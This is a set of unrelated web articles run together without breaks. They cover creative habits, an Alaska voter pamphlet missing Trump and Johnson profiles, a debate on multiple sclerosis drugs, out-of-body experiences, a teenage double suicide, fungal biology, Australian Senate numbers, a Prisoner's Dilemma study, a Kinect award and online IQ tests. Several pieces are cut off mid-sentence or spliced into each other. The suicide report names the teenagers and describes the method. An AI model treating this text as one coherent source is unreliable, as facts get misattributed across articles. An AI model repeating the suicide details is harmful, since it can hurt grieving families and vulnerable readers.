Riffing on wisdom from her latest book, Happier at Home: Kiss More, Jump More, Abandon a Project, Read Samuel Johnson, and My Other Experiments in the Practice of Everyday Life, Rubin offers:
I have a long list of “Secrets of Adulthood,” the lessons I’ve learned as I’ve grown up, such as: “It’s the task that’s never started that’s more tiresome,” “The days are long, but the years are short,” and “Always leave plenty of room in the suitcase.” One of my most helpful Secrets is, “What I do every day matters more than what I do once in a while.”
With a sentiment reminiscent of William James’s timeless words on habit, she concludes:
Day by day, we build our lives, and day by day, we can take steps toward making real the magnificent creations of our imaginations.
Entrepreneurship guru and culture-sage Seth Godin seconds Rubin and admonishes against confusing vacant ritualization with creative rituals that actually spur productivity:
Everybody who does creative work has figured out how to deal with their own demons to get their work done. There is no evidence that setting up your easel like Van Gogh makes you paint better. Tactics are idiosyncratic. But strategies are universal, and there are a lot of talented folks who are not succeeding the way they want to because their strategies are broken. The strategy is simple, I think. The strategy is to have a practice, and what it means to have a practice is to regularly and reliably do the work in a habitual way. There are many ways you can signify to yourself that you are doing your practice. For example, some people wear a white lab coat or a particular pair of glasses, or always work in a specific place — in doing these things, they are professionalizing their art.
He echoes Chuck Close (“Inspiration is for amateurs — the rest of us just show up and get to work.”), Tchaikovsky (“a self-respecting artist must not fold his hands on the pretext that he is not in the mood.”) E. B. White (“A writer who waits for ideal conditions under which to work will die without putting a word on paper.”), and Isabel Allende (“Show up, show up, show up, and after a while the muse shows up, too.”), observing:
The notion that I do my work here, now, like this, even when I do not feel like it, and especially when I do not feel like it, is very important. Because lots and lots of people are creative when they feel like it, but you are only going to become a professional if you do it when you don’t feel like it. And that emotional waiver is why this is your work and not your hobby.
Manage Your Day-to-Day goes on to explore such facets of the creative life as optimizing your idea-generation, defying the demons of perfectionism, managing procrastination, and breaking through your creative blocks, with insights from magnificent minds ranging from behavioral economist Dan Ariely to beloved graphic designer Stefan Sagmeister.Alaskans looking for help with their presidential pick by reading the state's official election pamphlets will find themselves short of information on Republican nominee Donald Trump, Libertarian Gary Johnson and their running mates.
The election pamphlets began arriving in registered voters' mailboxes this week and some Alaskans were quick to notice that there was no profile of Trump or his running mate, Indiana Gov. Mike Pence; nor was there information on Johnson and his running mate, former Massachusetts Gov. Bill Weld.
That's because the Trump and Johnson campaigns didn't submit anything. The candidates will still appear on voters' ballots.
The state asked the Republican National Committee and the Alaska Republican Party for the information — and for contact information for the Trump campaign — but nothing ever came, according to Josie Bahnke, director of the Alaska Division of Elections.
The Alaska Division of Elections sent a letter to the Republican National Committee accepting Trump's nomination, using the contact information on the certificate of nomination the RNC had sent to the state, according to Bahnke.
Bahnke shared an email with Alaska Dispatch News that she sent to Alaska Republican Party Chairman Tuckerman Babcock on Thursday morning in response to questions about the pamphlet. (Bahnke did not share Babcock's email, only her response.)
"The same letter was copied to you, Paul Ryan, Chairman of the Republican National Convention; Susie Hudson, Presiding Secretary, Republican National Convention and the Federal Election Commission," Bahnke wrote in the email to Babcock.
The state also asked for contact information for the Trump campaign, as it was not included on the certificate of nomination, and included a "bright orange" flier that explained how to submit information for the pamphlet, Bahnke wrote to Babcock.
But nobody ever responded, from either the state or national Republican Party.
The campaigns' oversight is not without some precedent: The Division of Elections appended the same "did not submit" notification for Green Party nominee Jill Stein in 2012 and for Alaskan Independence candidate Chuck Baldwin in 2008.
Biographies were included for all presidential candidates in 2004, 2000 and 1996. The 1992 pamphlet available online includes no biographical information about any presidential candidates. (Ironically, that year smashed records for voter turnout in Alaska: 83 percent of registered voters cast a ballot in 1992.)
The statutory deadline to submit information about presidential candidates is Aug. 30.A major dilemma facing clinicians is whether to continue treatment with disease-modifying drugs, effective in relapsing-remitting multiple sclerosis (RRMS), as the disease progresses to secondary progressive MS (SPMS). In SPMS, these treatments seem to lose their benefits and — as they are often associated with severe side effects and high costs — clinicians are faced with deciding if disease-modifying therapies should be stopped.
At the 10th World Congress on Controversies in Neurology (CONy) in Lisbon, Portugal (March 17-20, 2016), Abhijit Chaudhuri, a consultant neurologist at Queens Hospital, London, U.K., and Jacek Losy from the Poznan University of Medical Science, Poland, discussed this important issue in a debate titled “Should disease-modifying therapies be stopped in patients who have developed secondary progressive MS?”
According to Dr. Chaudhuri, the lack of progress in SPMS treatment stems from the fact that the pathology of this disease form is inherently different from earlier disease stages. The progression to PPMS is mainly driven by neurodegenerative changes, in contrast to the principal inflammatory processes in RRMS. The cause of this neurodegeneration is not well explored, but it is likely dependent on several factors heavily influenced by metabolic brain changes.
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“Neurodegeneration in SPMS is considered to be multi-factorial, diffuse, and significantly influenced by metabolic neuroaxonal changes,” Dr. Chaudhuri said in the debate. “Accumulation of disability in SPMS is driven by a neurodegenerative process which is independent of focal inflammatory changes.”
Since the underlying causes are different in the two MS stages, it is not surprising to find that current RRMS disease-modifying treatments have little effect on SPMS — and there is plenty of evidence that they do not, Dr. Chaudhuri said, citing several important studies.
Several clinical trials from 1988 onward, enrolling more than 6,000 patients and testing a multitude of both immunosuppressive and first-line disease-modifying drugs, have failed to show beneficial effects in SPMS patients. Together, these trials have investigated the efficiency of immune-suppressive drug therapies (ISDT) such as Azathioprine, Ciclosporin, Cyclophosphamide, Sulfasalazine, Linomide, Mitoxantrone and Cladribine; first-line disease modifying therapies like Interferon beta 1-a, Interferon 1-b and Glatiramer Acetate; and human intravenous immunoglobulin (IVIg), antiCD20 monoclonal antibody (Rituximab), Myelin Basic Protein (MBP), and cannabinoid (Dronabinol) for SPMS treatment.
Dr. Chaudhuri also mentioned a small trial investigating alemtuzumab (Lemtrada) in SPMS, which found no benefit in terms of Expanded Disability Status Scale (EDSS, a measure of disability) progression or rate of brain atrophy in MRI. Fingolimod (Gilenya) also failed to show efficacy in a trial for primary progressive MS, a disease form that likely shares underlying causes with SPMS.
“Success of DMT [disease-modifying therapies] is established for relapse prevention,” Dr. Chaudhuri said. “Anti-inflammatory therapy does not arrest the disease progression in SPMS.”
Dr. Losy countered that clinical trials assessing Interferon beta 1b therapy for SPMS came to different conclusions. A European study found favorable treatment effects on disease progression, the number of relapses, and several MRI parameters, while a North American study found no impact on such parameters. An analysis of the trials showed that the European study included more patients with active MS.
The “Interferon beta-1b in secondary progressive MS [yielded] very different results in trials, because populations were not comparable,” he said.
Therefore, according to Dr. Losy, the question of whether to continue treatment or not depends on whether the patient has active or non-active SPMS, and what type of disease-modifying treatment was used early in the disease. To further support this argument, he cited a subgroups analysis from the SPECTRIMS study — investigating Interferon beta 1a in SPMS — which showed that the treatment slowed disease progression only in individuals with active disease, namely in terms of relapses and MRI findings.
He also mentioned the MIMS study, a trial testing the drug mitoxantrone in patients with progressive relapsing or secondary progressive MS, which suggested that the drug had a positive impact on some MRI parameters.
Dr. Chaudhuri agreed that a small proportion of relapsing-progressive patients with MRI evidence of lesion expansion could, in theory, benefit from continued treatment, but he warned against generalizing data from these patients to the SPMS group as a whole.
While there is an enormous unmet need for effective treatment in SPMS, Dr. Chaudhuri said the problem remains our inability to understand the disease. He noted that despite the use of disease-modifying treatment, much of the pathology remains untouched, evidenced by the fact that patients progress from RRMS to SPMS even when relapses are kept at bay.
Based on the very thin evidence of favorable outcomes and the high cost of maintaining treatment, the option of continuing treatment is not feasible, he said. Instead, he argued that clinicians should focus on offering patients an optimal treatment withdrawal process. He stated that many patients feel apprehensive when faced with the prospect of stopping treatment, and patients should be offered counseling and a slow withdrawal process.
“Loss of brain volume and spinal cord atrophy are hallmarks of progressive MS, and few licensed DMT can reverse these changes” Dr. Chaudhuri concluded. “Patient education and pre-counseling [is the] key to successful DMT withdrawal, carried out over two–three months instead of abrupt withdrawal.”
These patients should then be offered opportunities to enroll in new SPMS trials, Dr. Chaudhuri said. These trials are focusing on other mechanisms than current immune and inflammatory therapies, investigating neuroprotection, mitochondrial function, neuraxonal metabolism, and ion transport. Early positive results have been reported from studies investigating Simvastatin and Biotin, he said, and added that in the future, such drugs could be introduced at an earlier disease stage to stop the progression of RRMS to SPMS.
In the end, the two researchers seemed to reach some understanding, as Dr. Losy agreed that existing data only supported the continuation of disease-modifying treatment in patients with the active, relapsing form of SPMS.THE young man woke feeling dizzy. He got up and turned around, only to see himself still lying in bed. He shouted at his sleeping body, shook it, and jumped on it. The next thing he knew he was lying down again, but now seeing himself standing by the bed and shaking his sleeping body. Stricken with fear, he jumped out of the window. His room was on the third floor. He was found later, badly injured.
What this 21-year-old had just experienced was an out-of-body experience, one of the most peculiar states of consciousness. It was probably triggered by his epilepsy (Journal of Neurology, Neurosurgery and Psychiatry, vol 57, p 838). “He didn’t want to commit suicide,” says Peter Brugger, the young man’s neuropsychologist at University Hospital Zurich in Switzerland. “He jumped to find a match between body and self. He must have been having a seizure.”
In the 15 years since that dramatic incident, Brugger and others have come a long way towards understanding out-of-body experiences. They have narrowed down the cause to malfunctions in a specific brain area and are now working out how these lead to the almost supernatural experience of leaving your own body and observing it from afar. They are also using out-of-body experiences to tackle a long-standing problem: how we create and maintain a sense of self.
Dramatised to great effect by such authors as Dostoevsky, Wilde, de Maupassant and Poe – some of whom wrote from first-hand knowledge – out-of-body experiences are usually associated with epilepsy, migraines, strokes, brain tumours, drug use and even near-death experiences. It is …pages just hours before they committed suicide
Monique and Shipman each shared selfies on their
Two Pennsylvania high school students have been discovered shot dead in what investigators are calling a suspected double suicide.
Police say the bodies of the teenage boy and girl were found in a parked car late Tuesday afternoon near a boat ramp at Rose Valley Lake, about 80 miles north of the state capital of Harrisburg.
State police say a handgun was found at the scene.
Two Pennsylvania high school students, identified by friends on social media as Brenden Shipman (left) and Annika Monique (right), were found dead in a double suicide Tuesday
Final photo: Shipman, 16, shared this selfie with Monique on his Facebook page at 8pm Monday, just hours before the pair's deaths
Monique uploaded this image on her Facebook page 20 minutes after her boyfriend
The county coroner says the deaths appear to have been self-inflicted but did not release other details.
The Williamsport Area School District told PennLive.com the male victim was a junior at Williamsport Area High School and the girl was a senior.
Officials have declined to release the names of the deceased citing their young age and the circumstances surrounding their deaths, but friends and classmates identified them on social media as Annika Monique and Brenden Shipman.
A family friend on Wednesday launched a GoFundMe campaign to help cover Shipman's funeral expenses.
The description of the online fundraiser revealed that Shipman was 16 years old.
Tragic couple: According to information shared on Facebook, the teens had been dating since April 2016
Schoolmates: Both Shipman and Monique attended Williamsport Area High School, where the boy was a junior and the girl was a senior
Shipman's Facebook page indicates that he and Annika Monique had been dating since April of this year.
Just before 9pm on Monday, Shipman took to Facebook for the last time, sharing a selfie that showed him and Monique embracing and smiling into the camera.
About 20 minutes later, his girlfriend uploaded a similar photo onto her page showing Shipman kissing the side of her head.
On Tuesday, police officers and the teenagers' relatives began searching for them when they failed to show up for school, reported the Williamsport Sun-Gazette.
At around 4pm, a relative of one of the victims made a gruesome discovery when he came upon the pair shot inside a car at Rose Valley Lake in Gamble Township.
Paramedics who were called to the scene pronounced both Shipman and Monique dead.
Investigators do not know at this time why the young couple decided to take their lives.
Those who knew the young couple, pictured here earlier this year in formal attire, were shocked that the teens decided to end their lives
Friends remembered Annika as a spirited girl who loved to dance. Brenden was described was a sweet and loving 16-year-old
Friends of Brenden and Annika and parents at Williamsport Area High School took to social media Wednesday to express their shock at the sad news and extended condolences to the families of the young couple.
The mother of Monique's classmate described the senior in a touching Facebook tribute as a 'truly spirited soul' and a' kind and funny young lady' who will be missed.
One of the girl's friends wrote in a status update Tuesday: 'My heart is is heavy I was just talking to you today you have always been one of my closest friends and now your [sic] gone I love you girl so much fly high angle I love you Annika Monique RIP.'
Owen Sampsell, a close friend of Shipman’s, wrote in a tribute to the pair that they will be sorely missed by all.
‘Everyone at school even teachers are bawling. You hear the cries echoing in the hall the tears running down the face of those who cared,’ he added.The USA Today Coaches Poll brings together continental breakfast journalism and the spirit of "you do you, i'mma do me" and the result? PURE SCIENCE.
But science has a weakness: it can be HACKED. With the help of reverse engineering nanobots, which are definitely not just a combination of techno-words I've heard in movies, we have learned much about the previously anonymous ballots behind this preseason ranking.
The sole first-place vote for Oklahoma came from UCF coach George O'Leary, who noted that Landry Jones might be the best quarterback in the country and further emphasized that he feeds off the sadness of others "like a lamprey of souls."
USC comes in at number 3 after rumors spread that receiver Robert Woods has been dead for eleven days. These rumors are true, and Woods will still haul in twelve passes for 178 yards and two touchdowns against |
pupils (4th year in secondary school, and about 16 years of age at the time), by one of the pupils who had attended a workshop session of ours. When all attendees (approximately 170 pupils) were asked 'Hands up all those who think fungi are plants', about 15 hands went up, but when asked 'Hands up all those who think fungi are bacteria', at least 150 hands went up!
As teachers we are used to battling against the mistaken idea that fungi are plants, but it was a shock to find that so many pupils believe that fungi are bacteria so close to the end of their statutory education. After all, it’s a bigger error than for them to think that whales are fish; at least whales and fish are in the same biological Kingdom. Does such ignorance matter? We say it does. The practical reason it matters is because the activities of fungi are crucially important in our every day lives. The educational reason it matters is that fungi form what is arguably the largest kingdom of higher organisms on the planet. Ignorance of this kingdom is a major blot on our personal education.
Fungi are not bacteria, because fungi are eukaryotes and they have the complex cell structures and abilities to make tissues and organs that we expect of higher organisms.
One view of the most ancient relationships of the major lineages of the domains of life, redrawn from the Tree of Life Project (http://tolweb.org/Life_on_Earth/1/1997.01.01 in the Tree of Life Project, http://tolweb.org/). There are two kingdoms within the Archaea: the Euryarcheota composed of methanogens and extreme halophiles, and the Crenarcheota composed of the extreme thermophiles. Eocytes are a group of sulfur-dependent bacteria with a unique pattern of organisation of ribosomal large and small subunits. They are closely related to eukaryotes.
Unfortunately, even though fungi make up such a large group of higher organisms, most current biology teaching, from school level upwards, concentrates on animals, with a trickle of information about plants. The result is that the majority of school and college students (and, since they’ve been through the same system, current University academics) are ignorant of fungal biology and therefore of their own dependence on fungi in everyday life. This institutional ignorance about fungi, generated by the lack of an appropriate treatment of fungal biology in national school curricula, seems to apply throughout Europe, North and South America and Australasia; indeed, most of the world.
So we have to SHOUT it … NO, they’re NOT plants and they're NOT bacteria!
There are three major Kingdoms of eukaryotes: Kingdom Fungi, Kingdom Viridiplantae (all green plants), and Kingdom Animalia (all multicellular animals). Various eukaryotic microbes (like protozoa, diatoms, water moulds, ciliates, red algae, brown algae and dinoflagellates) are placed in a number of sister kngdoms.
A cladogram (phylogenetic tree) showing the relationships of the eukaryotes. Note that the top branch of this tree shows the opisthokont clade as distinct from the other eukaryotic clades. The opisthokont clade subsequently diverges into animals and fungi as sister clades. Adapted from the Tree of Life Project [http://tolweb.org/Eukaryotes].
"...This classification scheme...requires changes in social organization of biologists, many of whom as botanists and zoologists, still behave as if there were only two important kingdoms (plants and animals)..." [Margulis, L. (1992). Biodiversity - molecular biological domains, symbiosis and Kingdom origins. BioSystems, 27: 39-51].
"... animals and fungi are sister groups while plants constitute an independent evolutionary lineage..." [Baldauf, S. L. & Palmer, J. D. (1993). Animals and fungi are each others closest relatives - congruent evidence from multiple proteins. Proceedings of the National Academy of Sciences of the U. S. A., 90: 11558-11562].
Fungi are fungi!
The main branches of the tree of life for Kingdom Fungi, derived from combined data for six genes (a total number of 6436 aligned nucleotides) of 199 fungi (James et al., 2006). All the traditional phyla are represented: Ascomycota, Basidiomycota, Glomeromycota, Zygomycota and Chytridiomycota (see discussion in Moore, Robson & Trinci, 2011). Ascomycota and Basidiomycota are united as the Dikarya, fungi in which at least part of the life cycle is characterised by cells with paired nuclei. The closest relatives of these two sister goups are the Glomeromycota. Neither the Zygomycota nor the Chytridiomycota are monophyletic groups; they have representatives in different clades or branches of the tree that are grouped into those phyla by their shared primitive morphologies (such groups are called paraphyletic). Note the Microsporidia and Rozella branches, which come out as basal to all other fungi in this analysis. Redrawn after Bruns (2006)(and see Taylor, 2011).
There is still uncertainty in the exact sequence of divergence of the major kingdoms, probably because of:
variable rates of evolution between the different groups examined, and
variable rates of evolution between the different molecules analysed.
But we can put an approximate timescale on the emergence of the major domains in deep time:
3.5 billion years ago There is evidence for the activity of living organisms in terrestrial rocks that are 3.5 × 109 years old. 2 billion years ago Eukaryotes and eubacteria last shared a common ancestor about 2 × 109 years ago. 1 billion years ago Eukaryotic kingdoms diverged from one another about 1 × 109 years ago. [Doolittle, R. F., Feng, D. F., Tsang, S., Cho, G. & Little, E. (1996). Determining divergence times of the major kingdoms of living organisms with a protein clock. Science, 271: 470-477.]
So fungi are fungi! … and they have been distinct from their sister eukaryotes for a thousand million years!
These conclusions are arrived at using molecular phylogenetics, but there is fossil evidence, too. Remains of two mushrooms have been found in amber which is 90 to 94 million years old.
They bear a strong resemblance to the existing genera Marasmius and Marasmiellus yet when they were preserved the dinosaurs still ruled the Earth … [Hibbett, D. S., Grimaldi, D. & Donoghue, M. J. (1995). Cretaceous mushrooms in amber. Nature, 377: 487.]
…so the mushrooms YOU see when you trek through the forest...
Videostill from The Making of Walking With Dinosaurs © BBC 1999
…are almost identical to those seen by dinosaurs in their forests.
Videostill from The Making of Walking With Dinosaurs © BBC 1999
‘...evidence accumulates to support the long-held view that the history of fungi is not marked by change and extinctions but by conservatism and continuity…’ [Pirozynski, K. A. (1976). Fungal spores in fossil record. Biological Memoirs, 1: 104-120.]
In other words: if it works, don't fix it!
Here's an interesting image from an expedition to a far off place...
Videostill from Journey to the Center of the Earth, a Twentieth Century-Fox production
Could this be a Macrolepiota - known in England as the Field Parasol mushroom? My field guide describes Macrolepiota procera as a "Large distinctive pale brownish agaric with scaly cap; white gills, and pale grey-brown stem with ring, and with banded markings."
Which all seems to fit, except...
... it doesn’t say anything about the mushroom being two to three METRES tall!
Of course, it’s all fiction!
Or is it? …
On July 31, 2000, at breakfast overlooking the Andaman Sea, I opened The Bangkok Post (as you do in that part of the world) to find this:
A press cutting asking "Could the earliest forests have been dominated by tree-sized fungi?"
Well, The Bangkok Post (with all due respect) is not considered to be a front-line research journal by many people, so how about a reference to the Philosophical Transactions of the Royal Society of London?...
Quote: ‘…It has been suggested that some of the nematophytes (Prototaxites) were terrestrial fungi… (specimens of Prototaxites over 1 m wide have been reported)…’ [Wellman, C. H. & Gray, J. (2000). The microfossil record of early land plants. Philosophical Transactions of the Royal Society of London, Series B 355, 717-732.]
Now, nematophyte fossils start in rocks more than 450 million years old. They are fossilized tubular things (maybe fungal hyphae?) and are so common and widespread that they must have been an important, even dominant, element both in terms of abundance and diversity in terrestrial ecosystems. They are found in rocks dating from the Ordovician to the early Devonian periods. This covers the best part of 100 million years. Nematophytes also included by far the largest organisms of early terrestrial ecosystems.
A Lower Devonian Prototaxites compression fossil, at least 2 m tall, in situ in the Bordeaux Quarry, Quebec. Dr Francis Hueber, who first made the suggestion that Prototaxites fossils are fungal in origin (Hueber, 2001), is posing alongside as a scale marker. Photograph kindly supplied by Dr Carol Hotton of the Smithsonian Institution, appears as Fig 1A in Boyce et al., 2007.
Remember the quotation - "specimens of Prototaxites over 1 m wide have been reported…"? One metre across? Well, maybe, just maybe, the landscape of over 400 million years ago was dominated by giant fungi. Not by mushrooms as suggested in the classic science fiction films,
Videostills from Journey to the Center of the Earth, a Twentieth Century-Fox production
...but by giant club fungi:
Two artistic impressions of the Lower Devonian landscape of some 400 million years ago, dominated by specimens of Prototaxites up to 9 metres tall. Top is a painting by Mary Parrish of the Smithsonian Institution, Washington, which was prepared for the publication about Prototaxites fossils by Hueber (2001). At bottom is a painting by Geoffrey Kibby that appeared under the title ‘an artist's impression of the landscape of the Devonian period’ as a rear cover image on the magazine Field Mycology in April 2008. In the landscape portrayed in these paintings the fungus Prototaxites dominates as the largest terrestrial organism to have lived up to this point in time. Although vascular plants were already present at this time, these landscapes were still dependent on the more ancient primary producers: cyanobacteria (blue-green algae), eukaryotic algae, lichens and mosses, liverworts and their bryophyte relatives. What you are seeing here is the physical expression of the dominance of fungi in the Earth’s biosphere. This physical dominance of Prototaxites lasted at least 40 million years (about 20 times longer than the genus Homo has so far existed on Earth). Images kindly supplied by Tom Jorstad of the Smithsonian Institution and Geoffrey Kibby, senior editor of Field Mycology. The painting by Mary Parrish courtesy of and © Smithsonian Institution. Reproduced with permission from Elsevier.
Don't underestimate fungi! Today, fungi comprise the most crucial Kingdom of eukaryotic organisms on the planet that exists everywhere on planet Earth. And they have dominated the biosphere of Earth for a large fraction of its history.
The geological timescale. The figure shows how the entire span of time during which the Earth has existed is classified into eras and epochs. Time axes on the central and right-hand panels are magnified views of the upper section of the previous panel. The last 65 million years is called the Cenozoic era, and is divided into a number of epochs, which began with the Paleocene approximately 65 million years ago, and runs to the present day. The Paleocene, which lasted from 65 to 54 million years ago, is followed by the Eocene (54-34 million years ago), the Oligocene (34-24 million years ago), the Miocene (24-5 million years ago), the Pliocene (5-1.8 million years ago) and the Pleistocene or Ice Ages (1.8 million years ago to 10 000 years ago). The period since the last retreat of the glaciers and present glacial warming is called the Holocene, or Recent (10 000 years ago to present day). Source: http://www.geo.ucalgary.ca/~macrae/timescale/timescale.html.
This is a cladogram showing phylogeny of the true fungi based on the 18S rDNA gene sequence. Branch lengths in the cladogram are proportional to the average rate of nucleotide substitution (1% per 100 million years), so the cladogram becomes an evolutionary tree, which has been calibrated using fossil fungi, fungal hosts and/or symbionts. The geological time timescale on the right shows the context of other major evolutionary events in geological time. The numerals and cartoons on the cladogram illustrate major milestones of fungal morphological evolution: terrestrial higher fungi diverged from water moulds (1) as branching filaments without septa (2) about 550 million years ago (Mya); the Glomeromycota diverged from the progenitor of ascomycetes and basidiomycetes about 490 Mya, and the latter lineage evolved septate filaments (3); clamp connections mark early basidiomycetes (4); basidia (smut-like, 5), asexual spores (6) and asci (7) probably evolved early in the major radiations of basidiomycetes and ascomycetes; filamentous ascomycetes diverged from the yeast lineage about 310 Mya, and fruiting bodies (8) presumably evolved before the Permian divergences because they are present in all the lineages today; mushroom fungi (9), with their characteristic holobasidium (10) probably radiated 200-130 Mya, soon after flowering plants became an important part of the flora.
It’s interesting that coals deposited in the Cretaceous and Tertiary periods show much more evidence of fungal decay than the much older Carboniferous coals, reflecting the radiation of aggressive wood-decay basidiomycetes from the Triassic onwards.
Also note the relatively recent radiation of (anaerobic) chytrids as grasses and grazing mammals became more abundant (see discussion in Moore, Robson & Trinci, 2011).
For the full story you need to read Fungal Biology in the Origin and Emergence of Life, written by David Moore (Published March 2013; ISBN-13: 9781107652774). This book examines the progress of life, as we understand it.
Starting from the origin of the solar system, the book deals with the origin of life and its onward evolution. And all in a form accessible to the general reader. In a very real sense, the book is a tourist guide, taking its readers on a series of Deep Time excursions.
Updated December 7, 2016Senate Results: Summary
Party Continuing New Total Liberal/National Party 16 17 33 Australian Labor Party 13 12 25 Australian Greens 6 4 10 Palmer United Party **.. 3 3 Democratic Labour Party 1.. 1 Nick Xenophon.. 1 1 Liberal Democratic Party.. 1 1 Family First.. 1 1 Australian Motoring Enthusiasts Party.. 1 1 Australian Sports Party **......
Note: Parties labelled '**' have had their totals amended to reflect the WA Senate election re-run, held in April 2014. At the election re-run, the seat originally won on re-count by the Australian Sports Party was won by Palmer United Party. The above Senate numbers come into force on 1 July 2014 when new state Senators take their seats. Until 30 June 2014 the Senate numbers remain Liberal/National 34, Labor 31, Green 9, DLP 1, Xenophon 1.
To pass legislation in the new Senate, the Abbott government will need 39 votes. Without Labor or Green support, the government will need the support of 6 of the 8 cross-bench members.Generosity leads to evolutionary success
With new insights into the classical game theory match-up known as the "Prisoner's Dilemma," University of Pennsylvania biologists offer a mathematically based explanation for why cooperation and generosity have evolved in nature.
Biologists offer a mathematically based explanation for why cooperation and
generosity have evolved in nature [Credit: Web]
Their work builds upon the seminal findings of economist John Nash, who advanced the field of game theory in the 1950s, as well as those of computational biologist William Press and physicist-mathematician Freeman Dyson, who last year identified a new class of strategies for succeeding in the Prisoner's Dilemma.
Postdoctoral researcher Alexander J. Stewart and associate professor Joshua B. Plotkin, both of Penn's Department of Biology in the School of Arts and Sciences, examined the outcome of the Prisoner's Dilemma as played repeatedly by a large, evolving population of players. While other researchers have previously suggested that cooperative strategies can be successful in such a scenario, Stewart and Plotkin offer mathematical proof that the only strategies that succeed in the long term are generous ones. They report their findings in the Proceedings of the National Academy of Sciences the week of Sept. 2.
"Ever since Darwin," Plotkin said, "biologists have been puzzled about why there is so much apparent cooperation, and even flat-out generosity and altruism, in nature. The literature on game theory has worked to explain why generosity arises. Our paper provides such an explanation for why we see so much generosity in front of us."
The Prisoner's Dilemma is a way of studying how individuals choose whether or not to cooperate. In the game, if both players cooperate, they both receive a payoff. If one cooperates and the other does not, the cooperating player receives the smallest possible payoff, and the defecting player the largest. If both players do not cooperate, they receive a payoff, but it is less than what they would gain if both had cooperated. In other words, it pays to cooperate, but it can pay even more to be selfish.
In the Iterated Prisoner's Dilemma, two players repeatedly face off against one another and can employ different strategies to beat their opponent. In 2012, Press and Dyson "shocked the world of game theory," Plotkin said, by identifying a group of strategies for playing this version of the game. They called this class of approaches "zero determinant" strategies because the score of one player is related linearly to the other. What's more, they focused on a subset of zero determinant approaches they deemed to be extortion strategies. If a player employed an extortion strategy against an unwitting opponent, that player could force the opponent into receiving a lower score or payoff.
Stewart and Plotkin became intrigued with this finding, and last year wrote a commentary in PNAS about the Press and Dyson work. They began to explore a different approach to the Prisoner's Dilemma. Instead of a head-to-head competition, they envisioned a population of players matching up against one another, as might occur in a human or animal society in nature. The most successful players would get to "reproduce" more, passing on their strategies to the next generation of players.
It quickly became clear to the Penn biologists that extortion strategies wouldn't do well if played within a large, evolving population because an extortion strategy doesn't succeed if played against itself.
"The fact that there are extortion strategies immediately suggests that, at the other end of the scale, there might also be generous strategies," Stewart said. "You might think being generous would be a stupid thing to do, and it is if there are only two players in the game, but, if there are many players and they all play generously, they all benefit from each other's generosity."
In generous strategies, which are essentially the opposite of extortion strategies, players tend to cooperate with their opponents, but, if they don't, they suffer more than their opponents do over the long term. "Forgiveness" is also a feature of these strategies. A player who encounters a defector may punish the defector a bit but after a time may cooperate with the defector again.
Stewart noticed the first of these generous approaches among the zero determinant strategies that Press and Dyson had defined. After simulating how some generous strategies would fare in an evolving population, he and Plotkin crafted a mathematical proof showing that, not only can generous strategies succeed in the evolutionary version of the Prisoner's Dilemma, in fact these are the only approaches that resist defectors over the long term.
"Our paper shows that no selfish strategies will succeed in evolution," Plotkin said. "The only strategies that are evolutionarily robust are generous ones."
The discovery, while abstract, helps explain the presence of generosity in nature, an inclination that can sometimes seem counter to the Darwinian notion of survival of the fittest.
"When people act generously they feel it is almost instinctual, and indeed a large literature in evolutionary psychology shows that people derive happiness from being generous," Plotkin said. "It's not just in humans. Of course social insects behave this way, but even bacteria and viruses share gene products and behave in ways that can't be described as anything but generous."
"We find that in evolution, a population that encourages cooperation does well," Stewart said. "To maintain cooperation over the long term, it is best to be generous."
Labels Biodiversity, Breakingnews, Evolution, Psychology
TANNWe’re humbled (and thrilled) that Xbox One has been recognized for another top industry award—this time by Popular Science as a winner of their annual “Best of What’s New” awards for our new and improved Kinect for Xbox One!
Each year, editors at Popular Science look for the 100 innovations that are reshaping the future by making our world better and more efficient. We’re excited that Kinect for Xbox One was called out in the entertainment category for its more powerful camera and ability to map skeletal and muscular movement, estimate heart rate and track emotions.
“For more than a quarter century, Popular Science has devoted its December issue to the year’s most remarkable innovations. The Best of What’s New Awards is our magazine’s top honor, and the 100 awardees are selected from a pool of thousands,” said Cliff Ransom, Executive editor, “and each winner is handpicked and revolutionary in its own way. Whether they’re poised to change the world or simplify your living room, the Best of What’s New awardees challenge us to see the future in a new light.”
Kinect for Xbox One appears in the December 2013 issue of Popular Science magazine, which is currently on newsstands.Boris Johnson’s recent comments have gotten everyone talking about their IQ. There are numerous tests to measure IQ, many of which are available online and used often. But are they scientifically valid?
One of the more interesting fall-outs from Boris Johnson’s recent speech is that he’s got people talking about intelligence and IQ a lot. This is likely a good thing. Intelligence is a tricky subject, so the more public discussion there is about it the better, in terms of keeping people informed. Because it’s not unusual to encounter someone who will mention having a high IQ without specifying why they think this is and what it actually means.
There are numerous IQ tests used by psychologists, such as the Stanford-Binet test, the Weschler Adult intelligence scale and so on. These are typically thorough tests designed to assess various different abilities via different types of tasks. They are regularly revised and updated, and typically have to be administered by a trained professional in specific conditions. They can also cost a fair bit, as they are actually scientific tools, like microscopes and the like.
Most non-science types outside the field of intelligence research won’t have access to these official tests though, so will have to look elsewhere. The obvious place to look is online, and sure enough if you type “IQ Test” into Google you get a lot of hits. There are countless free IQ tests online, and odds are someone bragging about their IQ got their score from one of these. But are they a valid, legitimate way of assessing your IQ?
In the spirit of scientific investigation, I tried a few. They’re easy enough to do; you just need an internet connection and maybe a Facebook or Twitter account to “log in” with. My findings are discussed below.
Test 1
Test 1. Photograph: Dean Burnett
Based on this first test, I’m clearly a genius. This shouldn’t really be surprising, I have PhD in neuroscience, am a university lecturer and tutor and a Guardian science writer, how could I not have a vastly superior intelligence? According to the normal IQ distribution, an IQ of 133 means I’m in the “very superior” category. Only 2% of the population have an equivalent or higher IQ. According to this, Boris Johnson thinks I should be getting more support, which is nice.
This is a scientific investigation though, and a single data point is not enough to base conclusions on, so further tests are required.
Test 2
Test 2. Photograph: Dean Burnett
Obviously, I got overly complacent, even arrogant, after scoring so highly on the first test, and my performance suffered. Based on the second test, I’m 10 IQ points less intelligent than when I did the first test. According to the normal distribution, this knocks be down a category into the “superior” group, along with 7% of the population. It’s still quite respectable, but for someone as clearly brilliant as me, it’s an indignity and it will not stand!
Test 3
Test 3. Photograph: Dean Burnett
For the third test, I really focused, in order to claw back some self-respect and boost my IQ score. It appears I overshot somewhat though, as my final score was “over 140”. Let’s think about that for a moment: I scored so highly that the software itself gave up trying to work out my IQ after it exceeded 140. It also tells me I am “one” intelligent person. I find that “one” to be vaguely accusatory, as if it doubts whether a single person could score so highly. But I did, because I am clearly a Hercules of cognitive ability. If you think this is an exaggeration, count the exclamation marks!!
Test 4
Test 4. Photograph: Dean Burnett
